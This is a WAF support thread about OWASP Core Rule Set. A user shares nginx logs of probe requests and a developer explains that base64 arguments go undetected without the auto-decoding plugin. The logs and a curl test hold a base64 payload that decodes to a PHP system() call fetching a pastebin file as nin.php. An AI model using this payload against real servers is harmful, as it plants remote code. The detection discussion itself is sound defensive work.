Base64 encoding is not getting detected

[Blason R]

Hi Team,

I observed certain logs on my nginx server and then thought to run against coreruleset sandbox and see if any of the rules are capturing those malicious entries.

To my surprise; not a single rule matched. Hence wondering can corereuleset detect such hits? Or am I doing something wrong?

103.133.214.139 - - [01/Nov/2022:17:33:11 +0530] "GET /wp-stream.php?a=c3lzdGVtKCd3Z2V0IGh0dHBzOi8vcGFzdGViaW4uY29tL3Jhdy9BS1lqanBkWSAtTyBuaW4ucGhwIDtlY2hvICJmYWlzYWxfMTMzNyInKTs=&lt=503c138bd956ccbe9a63967ef1f22dac HTTP/1.1" 404 41120 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36"
103.133.214.139 - - [01/Nov/2022:17:33:12 +0530] "GET /wp-blog-post.php?a=c3lzdGVtKCd3Z2V0IGh0dHBzOi8vcGFzdGViaW4uY29tL3Jhdy9BS1lqanBkWSAtTyBuaW4ucGhwIDtlY2hvICJmYWlzYWxfMTMzNyInKTs=&lt=503c138bd956ccbe9a63967ef1f22dac HTTP/1.1" 404 41120 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36"
103.133.214.139 - - [01/Nov/2022:17:33:14 +0530] "GET /wp-blockdown.php?a=c3lzdGVtKCd3Z2V0IGh0dHBzOi8vcGFzdGViaW4uY29tL3Jhdy9BS1lqanBkWSAtTyBuaW4ucGhwIDtlY2hvICJmYWlzYWxfMTMzNyInKTs=&lt=503c138bd956ccbe9a63967ef1f22dac HTTP/1.1" 404 41120 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36"
103.133.214.139 - - [01/Nov/2022:17:33:15 +0530] "GET /wp-beckup.php?a=c3lzdGVtKCd3Z2V0IGh0dHBzOi8vcGFzdGViaW4uY29tL3Jhdy9BS1lqanBkWSAtTyBuaW4ucGhwIDtlY2hvICJmYWlzYWxfMTMzNyInKTs=&lt=503c138bd956ccbe9a63967ef1f22dac HTTP/1.1" 404 41120 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36"
103.133.214.139 - - [01/Nov/2022:17:33:16 +0530] "GET //wp-blockup.php?a=c3lzdGVtKCd3Z2V0IGh0dHBzOi8vcGFzdGViaW4uY29tL3Jhdy9BS1lqanBkWSAtTyBuaW4ucGhwIDtlY2hvICJmYWlzYWxfMTMzNyInKTs=&lt=503c138bd956ccbe9a63967ef1f22dac HTTP/1.1" 301 0 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36"

######################################

curl -H "x-format-output: txt-matched-rules-extended" "https://sandbox.coreruleset.org/wp-stream.php?a=c3lzdGVtKCd3Z2V0IGh0dHBzOi8vcGFzdGViaW4uY29tL3Jhdy9BS1lqanBkWSAtTyBuaW4ucGhwIDtlY2hvICJmYWlzYWxfMTMzNyInKTs=&lt=503c138bd956ccbe9a63967ef1f22dac"
This payload has been tested against the OWASP ModSecurity Core Rule Set
web application firewall. The test was executed using the apache engine and CRS version nightly.

No rules matched.

[Andrew Howe]

Hi Blason,

If the Core Rule Set isn't aware that a variable is encoded then it
will not decode it. For example, we generally don't Base64 decode
arguments by default. Doing so would measurably impact performance. We
only perform decoding in rules where it is directly relevant, for
example some of the JavaScript rules perform Base64 decoding where
Base64 encoded values are likely to be encountered.

For use cases like yours, we provide an official CRS plugin to perform
automatic decoding of arguments: the Automatic Decoding Plugin. It can
be found here:
https://github.com/coreruleset/auto-decoding-plugin
Note that this plugin can have a significant performance impact and
should be tested and observed thoroughly if used in production:
“Generic transformations mean a severe performance impact and should
be enabled with caution… [each] parameter at PL4 will bring a whopping
1 + 66 [additional] parameters.”

The auto decoding plugin should cause several CRS rules to match
against the payload you provided in your email, like so:
Anomaly Scores: (Inbound Scores: blocking=41, detection=41,
per_pl=15-10-3-13, threshold=5)…ver "OWASP_CRS/4.0.0-rc1"…

With regards,
Andrew @ CRS Dev Retreat Italy 2022

[Blason R]

Thank you for the clarification and appreciate it.